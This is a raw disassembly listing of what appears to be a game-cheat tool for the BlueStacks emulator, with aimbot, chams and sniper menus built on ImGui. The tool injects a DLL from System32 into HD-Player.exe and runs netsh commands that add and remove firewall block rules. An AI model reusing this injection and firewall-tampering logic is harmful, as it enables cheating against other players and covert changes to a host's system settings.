mov dword [rbp + 0xec], 0x3f800000
mov dword [rbp + 0xf0], 0x3f800000
mov dword [rbp + 0xf4], 0x42b40000
mov dword [rbp + 0xf8], 0x42b40000
call fcn.1400048f0
movss xmm0, dword [0x14018301c]
lea r9, [rbp + 0xe4]
mov rcx, qword [0x140263a40]
lea r8, [rbp + 0xec]
movss dword [rsp + 0x28], xmm0
lea rdx, [rbp + 0xf4]
mov dword [rsp + 0x20], eax
call fcn.140032de0
mov rcx, qword [0x140263950]
lea rbx, str.The_injection_has_begun.
movss xmm6, dword [0x14019a10c]
lea rdx, [rbp + 0x100]
movss xmm3, dword [0x140183158]
subss xmm6, dword [0x140183108]
movss xmm2, dword [rcx + 0x3c40]
mov rcx, qword [rcx + 0x3c38]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rbx
movss dword [rsp + 0x20], xmm11
call fcn.14002a470
movss xmm0, dword [rbp + 0x100]
lea rcx, [rbp + 0x310]
addss xmm0, dword [0x140183068]
movss xmm3, dword [0x140289710]
movss xmm2, dword [0x140289714]
movss dword [rbp + 0x10c], xmm6
movss dword [rbp + 0x310], xmm3
cvttss2si eax, xmm0
movss xmm0, dword [0x14019a108]
mulss xmm0, xmm9
movss dword [rbp + 0x314], xmm2
movd xmm1, eax
mov rax, qword [0x140263950]
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x320], xmm3
movss dword [rbp + 0x100], xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x324], xmm2
subss xmm0, xmm1
movss xmm1, dword [0x140289718]
movss dword [rbp + 0x318], xmm1
movss dword [rbp + 0x328], xmm1
movss dword [rbp + 0x108], xmm0
movss xmm0, dword [0x14028971c]
mulss xmm0, dword [rax + 0x37f0]
movss dword [rbp + 0x31c], xmm0
movss dword [rbp + 0x32c], xmm0
call fcn.1400048f0
lea rcx, [rbp + 0x320]
mov r8d, eax
call fcn.1400048f0
mov edx, eax
movaps xmm3, xmm13
lea rax, [rbp + 0x108]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400318e0
mov dword [0x140263980], 4
jmp 0x1400477ef
cmp eax, 4
jne 0x140046c89
lea rcx, [rbp + 0x110]
mov dword [rbp + 0x110], 0x41700000
mov dword [rbp + 0x114], 0x41700000
call fcn.1400160b0
lea rdx, [rbp + 0x118]
mov dword [rbp + 0x118], 0x41c80000
lea rcx, [0x140145354]
mov dword [rbp + 0x11c], 0x41c80000
call fcn.140031bc0
test al, al
je 0x140046bbc
mov dword [0x140263980], 2
movss xmm7, dword [0x14019a10c]
lea rdx, str.Injection_was_successful_
xor r9d, r9d
mulss xmm7, xmm9
xor r8d, r8d
lea rcx, [rbp + 0x5d0]
movss dword [rsp + 0x20], xmm11
call fcn.14000b960
movss xmm6, dword [0x14019a108]
lea rdx, str.Injection_was_successful_
xor r9d, r9d
movss dword [rsp + 0x20], xmm11
xor r8d, r8d
mulss xmm6, xmm9
lea rcx, [rbp + 0x5f8]
movss xmm0, dword [rax + 4]
mulss xmm0, xmm9
subss xmm7, xmm0
call fcn.14000b960
lea rcx, [0x140289710]
movss dword [rbp + 0x124], xmm7
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm6, xmm0
movss dword [rbp + 0x120], xmm6
call fcn.140004d80
lea rcx, [0x140289710]
mov r8d, eax
call fcn.140004d80
lea rcx, [rbp + 0x120]
movaps xmm3, xmm13
mov qword [rsp + 0x20], rcx
mov edx, eax
lea rcx, str.Injection_was_successful_
call fcn.1400318e0
mov dword [0x140263980], 6
jmp 0x1400477ef
cmp eax, 8
jne 0x140047157
lea rcx, [rbp + 0x128]
mov dword [rbp + 0x128], 0x40a00000
mov dword [rbp + 0x12c], 0x41200000
call fcn.1400160b0
call fcn.1400162c0
lea rdx, [rbp + 0x130]
mov dword [rbp + 0x130], 0x420c0000
lea rcx, [0x140145350]
mov dword [rbp + 0x134], 0x420c0000
call fcn.140031bc0
test al, al
je 0x140046f80
cmp byte [0x140263949], 0
je 0x140046e0c
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
lea rcx, [rbp + 0x650]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x670]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x690]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x6b0]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlockMSI5_In__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x6d0]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_delete_rule_name_TemporaryBlockMSI5_Out__program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x6f0]
call fcn.14003a2f0
lea rax, [rbp + 0x650]
mov qword [rbp + 0x570], rax
lea rdx, [rbp - 0x70]
lea rax, [rbp + 0x710]
mov qword [rbp + 0x578], rax
lea rcx, [rsp + 0x60]
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp - 0x70], xmm0
call fcn.140047fa0
lea r9, [fcn.14003a290]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 6
lea rcx, [rbp + 0x650]
call fcn.14011456c
mov rdi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
cmp rbx, rdi
je 0x140046dd9
mov rcx, rbx
call fcn.140040c50
add rbx, 0x20
cmp rbx, rdi
jne 0x140046dc8
lea r9, str.Internet_Activado
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x650]
call fcn.14003e390
lea rcx, [rbp + 0x650]
call fcn.14003e470
mov byte [0x140263949], 0
jmp 0x140046f76
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
lea rcx, [rbp + 0x650]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
lea rcx, [rbp + 0x670]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirin_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x690]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirout_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x6b0]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirin_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x6d0]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirout_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
lea rcx, [rbp + 0x6f0]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlockMSI5_In__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x710]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlockMSI5_Out__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi5HD_Player.exe_
lea rcx, [rbp + 0x730]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2Bluestacks.exe_
lea rcx, [rbp + 0x750]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x770]
call fcn.14003a2f0
lea rdx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
lea rcx, [rbp + 0x790]
call fcn.14003a2f0
lea rax, [rbp + 0x650]
mov qword [rbp + 0x10], rax
lea rdx, [rbp - 0x70]
lea rax, [rbp + 0x7b0]
mov qword [rbp + 0x18], rax
lea rcx, [rsp + 0x60]
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x70], xmm0
call fcn.140047fa0
lea r9, [fcn.14003a290]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, ntohl
lea rcx, [rbp + 0x650]
call fcn.14011456c
mov rdi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
cmp rbx, rdi
je 0x140046f48
mov rcx, rbx
call fcn.140040c50
add rbx, 0x20
cmp rbx, rdi
jne 0x140046f37
lea r9, str.Internet_Desactivado
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x650]
call fcn.14003e390
lea rcx, [rbp + 0x650]
call fcn.14003e470
mov byte [0x140263949], r13b
lea rcx, [rsp + 0x60]
call fcn.1400483d0
call fcn.140016410
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x138]
mulss xmm0, xmm9
subss xmm0, xmm10
movss dword [rbp + 0x138], xmm0
movss xmm0, dword [0x14019a10c]
subss xmm0, xmm10
movss dword [rbp + 0x13c], xmm0
call fcn.1400160b0
lea rdx, [rbp + 0x140]
mov dword [rbp + 0x140], 0x438c0000
lea rcx, str.Visual
mov dword [rbp + 0x144], 0x420c0000
call fcn.1400318d0
test al, al
je 0x140046ff5
mov dword [0x140263980], 0xc
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x148]
mulss xmm0, xmm9
subss xmm0, xmm10
movss dword [rbp + 0x148], xmm0
movss xmm0, dword [0x14019a10c]
subss xmm0, dword [0x14018311c]
movss dword [rbp + 0x14c], xmm0
call fcn.1400160b0
lea rdx, [rbp + 0x150]
mov dword [rbp + 0x150], 0x438c0000
lea rcx, str.Snipers
mov dword [rbp + 0x154], 0x420c0000
call fcn.1400318d0
test al, al
je 0x140047068
mov dword [0x140263980], 0xb
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x158]
mulss xmm0, xmm9
subss xmm0, xmm10
movss dword [rbp + 0x158], xmm0
movss xmm0, dword [0x14019a10c]
subss xmm0, dword [0x140183108]
movss dword [rbp + 0x15c], xmm0
call fcn.1400160b0
lea rdx, [rbp + 0x160]
mov dword [rbp + 0x160], 0x438c0000
lea rcx, str.Otros
mov dword [rbp + 0x164], 0x420c0000
call fcn.1400318d0
test al, al
je 0x1400470db
mov dword [0x140263980], 0xd
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x168]
mulss xmm0, xmm9
subss xmm0, xmm10
movss dword [rbp + 0x168], xmm0
movss xmm0, dword [0x14019a10c]
subss xmm0, dword [0x140183120]
movss dword [rbp + 0x16c], xmm0
call fcn.1400160b0
lea rdx, [rbp + 0x170]
mov dword [rbp + 0x170], 0x438c0000
lea rcx, str.Aim_Hax
mov dword [rbp + 0x174], 0x420c0000
call fcn.1400318d0
test al, al
je 0x1400477ef
mov dword [0x140263980], 0xa
jmp 0x1400477ef
cmp eax, 0xa
jne 0x140047303
lea rcx, [rbp + 0x178]
mov dword [rbp + 0x178], 0x40a00000
mov dword [rbp + 0x17c], 0x41200000
call fcn.1400160b0
call fcn.1400162c0
lea rdx, [rbp + 0x180]
mov dword [rbp + 0x180], 0x420c0000
lea rcx, [0x140145354]
mov dword [rbp + 0x184], 0x420c0000
call fcn.140031bc0
test al, al
je 0x1400471ba
mov dword [0x140263980], 8
call fcn.140016410
mov ecx, dword [0x140263978]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x1400471f8
lea rdx, [0x140041f10]
lea rcx, [rbp + 0x5d8]
call fcn.140048ce0
mov rcx, rax
call fcn.140040610
cmp dword [rbp + 0x5e0], 0
jne 0x140047b50
mov ecx, dword [0x14026397c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140047231
lea rdx, [0x140042540]
lea rcx, [rbp + 0x5e8]
call fcn.140048ce0
mov rcx, rax
call fcn.140040610
cmp dword [rbp + 0x5f0], 0
jne 0x140047b57
mov ecx, dword [0x140263990]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x14004726a
lea rdx, [0x140042000]
lea rcx, [rbp + 0x600]
call fcn.140048ce0
mov rcx, rax
call fcn.140040610
cmp dword [rbp + 0x608], 0
jne 0x140047b5e
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x188]
mulss xmm0, xmm9
mov dword [rbp + 0x18c], 0x435c0000
subss xmm0, xmm10
movss dword [rbp + 0x188], xmm0
call fcn.1400160b0
movss xmm6, dword [0x14018312c]
lea rdx, [0x140263978]
movaps xmm2, xmm6
lea rcx, str.Aimbot_Safe
call fcn.14002f7a0
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x190]
mulss xmm0, xmm9
mov dword [rbp + 0x194], 0x43820000
subss xmm0, xmm10
movss dword [rbp + 0x190], xmm0
call fcn.1400160b0
lea rdx, [0x14026397c]
movaps xmm2, xmm6
lea rcx, str.Aimbot_Body
call fcn.14002f7a0
jmp 0x1400477ef
cmp eax, 0xb
jne 0x1400474ff
lea rcx, [rbp + 0x198]
mov dword [rbp + 0x198], 0x40a00000
mov dword [rbp + 0x19c], 0x41200000
call fcn.1400160b0
call fcn.1400162c0
lea rdx, [rbp + 0x1a0]
mov dword [rbp + 0x1a0], 0x420c0000
lea rcx, [0x140145354]
mov dword [rbp + 0x1a4], 0x420c0000
call fcn.140031bc0
test al, al
je 0x140047366
mov dword [0x140263980], 8
call fcn.140016410
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x1a8]
mulss xmm0, xmm9
mov dword [rbp + 0x1ac], 0x435c0000
subss xmm0, xmm10
movss dword [rbp + 0x1a8], xmm0
call fcn.1400160b0
lea rdx, [rbp + 0x1b0]
mov dword [rbp + 0x1b0], 0x438c0000
lea rcx, str.Quick_Swith_Sniper
mov dword [rbp + 0x1b4], 0x420c0000
call fcn.1400318d0
test al, al
je 0x1400473ee
lea rdx, [0x140041d20]
lea rcx, [rbp + 0x610]
call fcn.140048ce0
mov rcx, rax
call fcn.140040610
cmp dword [rbp + 0x618], 0
jne 0x140047b65
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x1b8]
mulss xmm0, xmm9
mov dword [rbp + 0x1bc], 0x43960000
subss xmm0, xmm10
movss dword [rbp + 0x1b8], xmm0
call fcn.1400160b0
lea rdx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0x438c0000
lea rcx, str.Head_Tracking
mov dword [rbp + 0x1c4], 0x420c0000
call fcn.1400318d0
test al, al
je 0x140047471
lea rdx, [0x140042360]
lea rcx, [rbp + 0x580]
call fcn.140048ce0
mov rcx, rax
call fcn.140040610
cmp dword [rbp + 0x588], 0
jne 0x140047b6c
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x1c8]
mulss xmm0, xmm9
mov dword [rbp + 0x1cc], 0x43340000
subss xmm0, xmm10
movss dword [rbp + 0x1c8], xmm0
call fcn.1400160b0
lea rdx, [rbp + 0x1d0]
mov dword [rbp + 0x1d0], 0x438c0000
lea rcx, str.Fov_Sniper_V2
mov dword [rbp + 0x1d4], 0x420c0000
call fcn.1400318d0
test al, al
je 0x1400477ef
lea rdx, [0x140041e20]
lea rcx, [rbp + 0x590]
call fcn.140048ce0
mov rcx, rax
call fcn.140040610
cmp dword [rbp + 0x598], 0
je 0x1400477ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp eax, 0xc
jne 0x14004768a
lea rcx, [rbp + 0x1d8]
mov dword [rbp + 0x1d8], 0x40a00000
mov dword [rbp + 0x1dc], 0x41200000
call fcn.1400160b0
call fcn.1400162c0
lea rdx, [rbp + 0x1e0]
mov dword [rbp + 0x1e0], 0x420c0000
lea rcx, [0x140145354]
mov dword [rbp + 0x1e4], 0x420c0000
call fcn.140031bc0
test al, al
je 0x140047562
mov dword [0x140263980], 8
call fcn.140016410
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x1e8]
mulss xmm0, xmm9
mov dword [rbp + 0x1ec], 0x435c0000
subss xmm0, xmm10
movss dword [rbp + 0x1e8], xmm0
call fcn.1400160b0
lea rdx, [rbp + 0x1f0]
mov dword [rbp + 0x1f0], 0x438c0000
lea rcx, str.Menu_Chams
mov dword [rbp + 0x1f4], 0x420c0000
call fcn.1400318d0
test al, al
je 0x1400477ef
lea rcx, [rbp - 0x70]
call fcn.140048370
lea rcx, [rsp + 0x60]
call fcn.140048370
lea rdx, str.HD_Player.exe
lea rcx, [rbp - 0x70]
call fcn.140048230
lea rdx, str.C:WindowsSystem32menuchamsf.dll
lea rcx, [rsp + 0x60]
call fcn.140048230
lea rcx, [rsp + 0x60]
call fcn.14003a280
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x140047b73
lea rcx, [rbp - 0x70]
mov edx, reloc.WS2_32.dll_listen
call fcn.14003a280
mov rcx, rax
call fcn.1400420f0
mov r8d, eax
test eax, eax
jne 0x14004765d
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140182e44]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x539
lea rcx, str.skinjbir
call fcn.1400420f0
jmp 0x140047672
lea rcx, [rsp + 0x60]
call fcn.14003a280
mov rdx, rax
mov ecx, r8d
call fcn.140042210
lea rcx, [rsp + 0x60]
call fcn.14003a290
lea rcx, [rbp - 0x70]
call fcn.14003a290
jmp 0x1400477ef
cmp eax, 0xd
jne 0x1400477ef
lea rcx, [rbp + 0x1f8]
mov dword [rbp + 0x1f8], 0x40a00000
mov dword [rbp + 0x1fc], 0x41200000
call fcn.1400160b0
call fcn.1400162c0
lea rdx, [rbp + 0x200]
mov dword [rbp + 0x200], 0x420c0000
lea rcx, [0x140145354]
mov dword [rbp + 0x204], 0x420c0000
call fcn.140031bc0
test al, al
je 0x1400476ed
mov dword [0x140263980], 8
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x208]
mulss xmm0, xmm9
mov dword [rbp + 0x20c], 0x43960000
subss xmm0, xmm10
movss dword [rbp + 0x208], xmm0
call fcn.1400160b0
lea rdx, [rbp + 0x210]
mov dword [rbp + 0x210], 0x438c0000
lea rcx, str.Scope_Sniper
mov dword [rbp + 0x214], 0x420c0000
call fcn.1400318d0
test al, al
je 0x140047770
lea rdx, [0x140042630]
lea rcx, [rbp + 0x5a0]
call fcn.140048ce0
mov rcx, rax
call fcn.140040610
cmp dword [rbp + 0x5a8], 0
jne 0x140047b8b
movss xmm0, dword [0x14019a108]
lea rcx, [rbp + 0x218]
mulss xmm0, xmm9
mov dword [rbp + 0x21c], 0x43820000
subss xmm0, xmm10
movss dword [rbp + 0x218], xmm0
call fcn.1400160b0
lea rdx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x438c0000
lea rcx, str.Aim_2x
mov dword [rbp - 0xc], 0x420c0000
call fcn.1400318d0
test al, al
je 0x1400477ea
lea rdx, [0x140042450]
lea rcx, [rbp + 0x5b0]
call fcn.140048ce0
mov rcx, rax
call fcn.140040610
cmp dword [rbp + 0x5b8], 0
jne 0x140047b92
call fcn.140016410
mov ecx, r13d
call fcn.140004f50
call fcn.14003e4c0
mov rcx, qword [0x140263950]
lea rdx, [rbp - 8]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], r13b
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [rax + 0x20]
movss xmm0, dword [rax + 0x24]
subss xmm1, dword [rax + 0x84]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r13b
addss xmm1, xmm13
addss xmm0, xmm13
movss dword [rax + 0x100], xmm1
movss xmm1, dword [0x14019a10c]
movss dword [rax + 0x104], xmm0
movss xmm0, dword [0x14019a108]
movss dword [rbp - 8], xmm0
movss dword [rbp - 4], xmm1
call fcn.140032080
mov rax, qword [0x140263950]
mov ecx, dword [rax + 0x3f50]
test ecx, ecx
je 0x14004791a
cmp ecx, dword [rax + 0x478c]
jne 0x14004791a
mov rcx, qword [0x140263998]
lea rdx, [0x1402639a8]
call qword [sym.imp.USER32.dll_GetWindowRect]
cvttss2si edi, dword [0x14019a10c]
lea rcx, [rbp]
cvttss2si esi, dword [0x14019a108]
movaps xmm2, xmm11
call fcn.1400137d0
movd xmm0, dword [0x1402639ac]
lea rcx, [rbp - 0x20]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm11
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.1400137d0
mov r9d, esi
mov rcx, qword [0x140263998]
mov r8d, ebx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x1402639a8]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
xor esi, esi
call fcn.140011780
call fcn.14000b4b0
mov rcx, qword [0x1402892f8]
lea r8, [0x140284f38]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x350], xmm0
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1402892f8]
lea r8, [rbp + 0x350]
mov rdx, qword [0x140284f38]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x140263950]
cmp dword [rbx + 0x48c0], 0
jg 0x140047993
mov r8d, 0x702
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48c8]
mov rcx, qword [rax]
mov rax, rsi
add rcx, 0x48
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.14003ab40
mov rcx, qword [0x1402892a8]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
test r14b, r14b
je 0x140044127
mov rbx, qword [0x140263950]
test rbx, rbx
je 0x140047b99
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x140047bbd
jmp 0x140047b9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov ecx, r13d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x258], esi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, r13d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp - 0x28], esi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140047a69
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047a64
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047aae
call fcn.14011487c
mov rdx, qword [rbp - 0x58]
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
cmp rdx, 0xf
jbe 0x140047aba
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047ab5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047ab5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011487c
mov eax, r13d
movaps xmm14, xmmword [rsp + 0x2770]
movaps xmm13, xmmword [rsp + 0x2780]
movaps xmm12, xmmword [rsp + 0x2790]
movaps xmm11, xmmword [rsp + 0x27a0]
movaps xmm10, xmmword [rsp + 0x27b0]
mov r12, qword [rsp + 0x2810]
movaps xmm8, xmmword [rsp + 0x27d0]
movaps xmm7, xmmword [rsp + 0x27e0]
movaps xmm6, xmmword [rsp + 0x27f0]
movaps xmm15, xmmword [rsp + 0x2760]
mov rbx, qword [rsp + 0x2830]
mov r14, qword [rsp + 0x2800]
mov rdi, qword [rsp + 0x2840]
mov rsi, qword [rsp + 0x2838]
movaps xmm9, xmmword [rsp + 0x27c0]
mov r13, qword [rsp + 0x2808]
add rsp, 0x2818
pop r15
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rcx, [rsp + 0x60]
call fcn.14003a290
lea rcx, [rbp - 0x70]
call fcn.14003a290
jmp 0x140047aba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rdi, rsi
mov r8d, 0x241
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copia_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140263950]
test rbx, rbx
jne 0x140047be3
mov r8d, 0xfff
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140263950]
call fcn.14003baf0
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140047bf7
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140047c05
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140047c14
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x140263950]
mov qword [rbx + 0x90], rsi
mov qword [rbx + 0xa0], rsi
test rax, rax
je 0x140047c34
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x140263950]
test rax, rax
je 0x140047c57
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x140047c7b
jmp 0x140047c5a
mov rbx, rsi
mov r8d, 0xa8
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copia_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140263950]
test rax, rax
jne 0x140047ca1
mov r8d, 0xfff
lea rdx, str.C:UsersCheetosPicturesTodoDeus___copia___copiaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140263950]
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x140047cbb
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x140263950]
mov qword [rdi + 0x80], rsi
mov qword [rdi + 0x90], rsi
test rax, rax
je 0x140047cd4
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x140263950]
mov qword [0x140263950], rbx
call fcn.140006d00
mov qword [0x140263950], rsi
test rbx, rbx
je 0x140047d1f
mov rcx, rbx
call fcn.14001f7e0
mov rax, qword [0x140263950]
test rax, rax
je 0x140047d16
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x140284f38]
test rcx, rcx
je 0x140047d38
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140284f38], rsi
mov rcx, qword [0x1402892a8]
test rcx, rcx
je 0x140047d51
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1402892a8], rsi
mov rcx, qword [0x1402892f8]
test rcx, rcx
je 0x140047d6a
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1402892f8], rsi
mov rcx, qword [0x1402892f0]
test rcx, rcx
je 0x140047d83
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1402892f0], rsi
mov rcx, qword [0x140263998]
call qword [sym.imp.USER32.dll_DestroyWindow]
